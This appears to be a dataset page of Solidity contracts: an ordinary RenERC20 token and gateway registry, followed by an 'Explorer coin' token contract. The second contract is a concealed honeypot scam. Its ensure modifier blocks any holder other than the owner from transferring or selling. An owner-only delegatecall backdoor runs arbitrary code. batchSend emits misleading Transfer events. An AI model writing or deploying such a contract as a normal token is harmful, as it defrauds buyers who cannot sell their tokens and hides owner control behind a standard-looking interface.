function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract CanReclaimTokens is Claimable {
using SafeERC20 for ERC20;
mapping(address => bool) private recoverableTokensBlacklist;
function initialize(address _nextOwner) public initializer {
Claimable.initialize(_nextOwner);
}
function blacklistRecoverableToken(address _token) public onlyOwner {
recoverableTokensBlacklist[_token] = true;
}
function recoverTokens(address _token) external onlyOwner {
require(
!recoverableTokensBlacklist[_token],
"CanReclaimTokens: token is not recoverable"
);
if (_token == address(0x0)) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(_token).safeTransfer(
msg.sender,
ERC20(_token).balanceOf(address(this))
);
}
}
}
contract ERC20WithRate is Initializable, Ownable, ERC20 {
using SafeMath for uint256;
uint256 public constant _rateScale = 1e18;
uint256 internal _rate;
event LogRateChanged(uint256 indexed _rate);
function initialize(address _nextOwner, uint256 _initialRate)
public
initializer
{
Ownable.initialize(_nextOwner);
_setRate(_initialRate);
}
function setExchangeRate(uint256 _nextRate) public onlyOwner {
_setRate(_nextRate);
}
function exchangeRateCurrent() public view returns (uint256) {
require(_rate != 0, "ERC20WithRate: rate has not been initialized");
return _rate;
}
function _setRate(uint256 _nextRate) internal {
require(_nextRate > 0, "ERC20WithRate: rate must be greater than zero");
_rate = _nextRate;
}
function balanceOfUnderlying(address _account)
public
view
returns (uint256)
{
return toUnderlying(balanceOf(_account));
}
function toUnderlying(uint256 _amount) public view returns (uint256) {
return _amount.mul(_rate).div(_rateScale);
}
function fromUnderlying(uint256 _amountUnderlying)
public
view
returns (uint256)
{
return _amountUnderlying.mul(_rateScale).div(_rate);
}
}
contract ERC20WithPermit is Initializable, ERC20, ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) public nonces;
string public version;
bytes32 public DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
function initialize(
uint256 _chainId,
string memory _version,
string memory _name,
string memory _symbol,
uint8 _decimals
) public initializer {
ERC20Detailed.initialize(_name, _symbol, _decimals);
version = _version;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name())),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
holder,
spender,
nonce,
expiry,
allowed
)
)
)
);
require(holder != address(0), "ERC20WithRate: address must not be 0x0");
require(
holder == ecrecover(digest, v, r, s),
"ERC20WithRate: invalid signature"
);
require(
expiry == 0 || now <= expiry,
"ERC20WithRate: permit has expired"
);
require(nonce == nonces[holder]++, "ERC20WithRate: invalid nonce");
uint256 amount = allowed ? uint256(-1) : 0;
_approve(holder, spender, amount);
}
}
contract RenERC20LogicV1 is
Initializable,
ERC20,
ERC20Detailed,
ERC20WithRate,
ERC20WithPermit,
Claimable,
CanReclaimTokens
{
function initialize(
uint256 _chainId,
address _nextOwner,
uint256 _initialRate,
string memory _version,
string memory _name,
string memory _symbol,
uint8 _decimals
) public initializer {
ERC20Detailed.initialize(_name, _symbol, _decimals);
ERC20WithRate.initialize(_nextOwner, _initialRate);
ERC20WithPermit.initialize(
_chainId,
_version,
_name,
_symbol,
_decimals
);
Claimable.initialize(_nextOwner);
CanReclaimTokens.initialize(_nextOwner);
}
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(
recipient != address(this),
"RenERC20: can't transfer to token address"
);
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount)
public
returns (bool)
{
require(
recipient != address(this),
"RenERC20: can't transfer to token address"
);
return super.transferFrom(sender, recipient, amount);
}
}
contract RenBTC is InitializableAdminUpgradeabilityProxy {}
contract RenZEC is InitializableAdminUpgradeabilityProxy {}
contract RenBCH is InitializableAdminUpgradeabilityProxy {}
library LinkedList {
address public constant NULL = address(0);
struct Node {
bool inList;
address previous;
address next;
}
struct List {
mapping (address => Node) list;
}
function insertBefore(List storage self, address target, address newNode) internal {
require(newNode != address(0), "LinkedList: invalid address");
require(!isInList(self, newNode), "LinkedList: already in list");
require(isInList(self, target) || target == NULL, "LinkedList: not in list");
address prev = self.list[target].previous;
self.list[newNode].next = target;
self.list[newNode].previous = prev;
self.list[target].previous = newNode;
self.list[prev].next = newNode;
self.list[newNode].inList = true;
}
function insertAfter(List storage self, address target, address newNode) internal {
require(newNode != address(0), "LinkedList: invalid address");
require(!isInList(self, newNode), "LinkedList: already in list");
require(isInList(self, target) || target == NULL, "LinkedList: not in list");
address n = self.list[target].next;
self.list[newNode].previous = target;
self.list[newNode].next = n;
self.list[target].next = newNode;
self.list[n].previous = newNode;
self.list[newNode].inList = true;
}
function remove(List storage self, address node) internal {
require(isInList(self, node), "LinkedList: not in list");
address p = self.list[node].previous;
address n = self.list[node].next;
self.list[p].next = n;
self.list[n].previous = p;
self.list[node].inList = false;
delete self.list[node];
}
function prepend(List storage self, address node) internal {
insertBefore(self, begin(self), node);
}
function append(List storage self, address node) internal {
insertAfter(self, end(self), node);
}
function swap(List storage self, address left, address right) internal {
address previousRight = self.list[right].previous;
remove(self, right);
insertAfter(self, left, right);
remove(self, left);
insertAfter(self, previousRight, left);
}
function isInList(List storage self, address node) internal view returns (bool) {
return self.list[node].inList;
}
function begin(List storage self) internal view returns (address) {
return self.list[NULL].next;
}
function end(List storage self) internal view returns (address) {
return self.list[NULL].previous;
}
function next(List storage self, address node) internal view returns (address) {
require(isInList(self, node), "LinkedList: not in list");
return self.list[node].next;
}
function previous(List storage self, address node) internal view returns (address) {
require(isInList(self, node), "LinkedList: not in list");
return self.list[node].previous;
}
function elements(List storage self, address _start, uint256 _count) internal view returns (address[] memory) {
require(_count > 0, "LinkedList: invalid count");
require(isInList(self, _start) || _start == address(0), "LinkedList: not in list");
address[] memory elems = new address[](_count);
uint256 n = 0;
address nextItem = _start;
if (nextItem == address(0)) {
nextItem = begin(self);
}
while (n < _count) {
if (nextItem == address(0)) {
break;
}
elems[n] = nextItem;
nextItem = next(self, nextItem);
n += 1;
}
return elems;
}
}
interface IMintGateway {
function mint(
bytes32 _pHash,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external returns (uint256);
function mintFee() external view returns (uint256);
}
interface IBurnGateway {
function burn(bytes calldata _to, uint256 _amountScaled)
external
returns (uint256);
function burnFee() external view returns (uint256);
}
interface IGateway {
function mint(
bytes32 _pHash,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external returns (uint256);
function mintFee() external view returns (uint256);
function burn(bytes calldata _to, uint256 _amountScaled)
external
returns (uint256);
function burnFee() external view returns (uint256);
}
contract GatewayRegistry is Claimable, CanReclaimTokens {
constructor() public {
Claimable.initialize(msg.sender);
CanReclaimTokens.initialize(msg.sender);
}
event LogGatewayRegistered(
string _symbol,
string indexed _indexedSymbol,
address indexed _token,
address indexed _gatewayContract
);
event LogGatewayDeregistered(
string _symbol,
string indexed _indexedSymbol,
address indexed _token,
address indexed _gatewayContract
);
event LogGatewayUpdated(
address indexed _token,
address indexed _currentGatewayContract,
address indexed _newGatewayContract
);
uint256 numGatewayContracts = 0;
LinkedList.List private gatewayContractList;
LinkedList.List private renTokenList;
mapping(address => address) private gatewayByToken;
mapping(string => address) private tokenBySymbol;
function setGateway(string calldata _symbol, address _token, address _gatewayContract)
external
onlyOwner
{
require(symbolIsValid(_symbol), "GatewayRegistry: symbol must be alphanumeric");
require(
!LinkedList.isInList(gatewayContractList, _gatewayContract),
"GatewayRegistry: gateway already registered"
);
require(
gatewayByToken[_token] == address(0x0),
"GatewayRegistry: token already registered"
);
require(
tokenBySymbol[_symbol] == address(0x0),
"GatewayRegistry: symbol already registered"
);
LinkedList.append(gatewayContractList, _gatewayContract);
LinkedList.append(renTokenList, _token);
tokenBySymbol[_symbol] = _token;
gatewayByToken[_token] = _gatewayContract;
numGatewayContracts += 1;
emit LogGatewayRegistered(_symbol, _symbol, _token, _gatewayContract);
}
function updateGateway(address _token, address _newGatewayContract)
external
onlyOwner
{
address currentGateway = gatewayByToken[_token];
require(
currentGateway != address(0x0),
"GatewayRegistry: token not registered"
);
LinkedList.remove(gatewayContractList, currentGateway);
LinkedList.append(gatewayContractList, _newGatewayContract);
gatewayByToken[_token] = _newGatewayContract;
emit LogGatewayUpdated(_token, currentGateway, _newGatewayContract);
}
function removeGateway(string calldata _symbol) external onlyOwner {
address tokenAddress = tokenBySymbol[_symbol];
require(
tokenAddress != address(0x0),
"GatewayRegistry: symbol not registered"
);
address gatewayAddress = gatewayByToken[tokenAddress];
delete gatewayByToken[tokenAddress];
delete tokenBySymbol[_symbol];
LinkedList.remove(gatewayContractList, gatewayAddress);
LinkedList.remove(renTokenList, tokenAddress);
numGatewayContracts -= 1;
emit LogGatewayDeregistered(
_symbol,
_symbol,
tokenAddress,
gatewayAddress
);
}
function getGateways(address _start, uint256 _count)
external
view
returns (address[] memory)
{
return
LinkedList.elements(
gatewayContractList,
_start,
_count == 0 ? numGatewayContracts : _count
);
}
function getRenTokens(address _start, uint256 _count)
external
view
returns (address[] memory)
{
return
LinkedList.elements(
renTokenList,
_start,
_count == 0 ? numGatewayContracts : _count
);
}
function getGatewayByToken(address _token)
external
view
returns (IGateway)
{
return IGateway(gatewayByToken[_token]);
}
function getGatewayBySymbol(string calldata _tokenSymbol)
external
view
returns (IGateway)
{
return IGateway(gatewayByToken[tokenBySymbol[_tokenSymbol]]);
}
function getTokenBySymbol(string calldata _tokenSymbol)
external
view
returns (IERC20)
{
return IERC20(tokenBySymbol[_tokenSymbol]);
}
function symbolIsValid(string memory _tokenSymbol) public pure returns (bool) {
for (uint i = 0; i < bytes(_tokenSymbol).length; i++) {
uint8 char = uint8(bytes(_tokenSymbol)[i]);
if (!(
(char >= 65 && char <= 90) ||
(char >= 97 && char <= 122) ||
(char >= 48 && char <= 57)
)) {
return false;
}
}
return true;
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Explorer coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Explorercoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.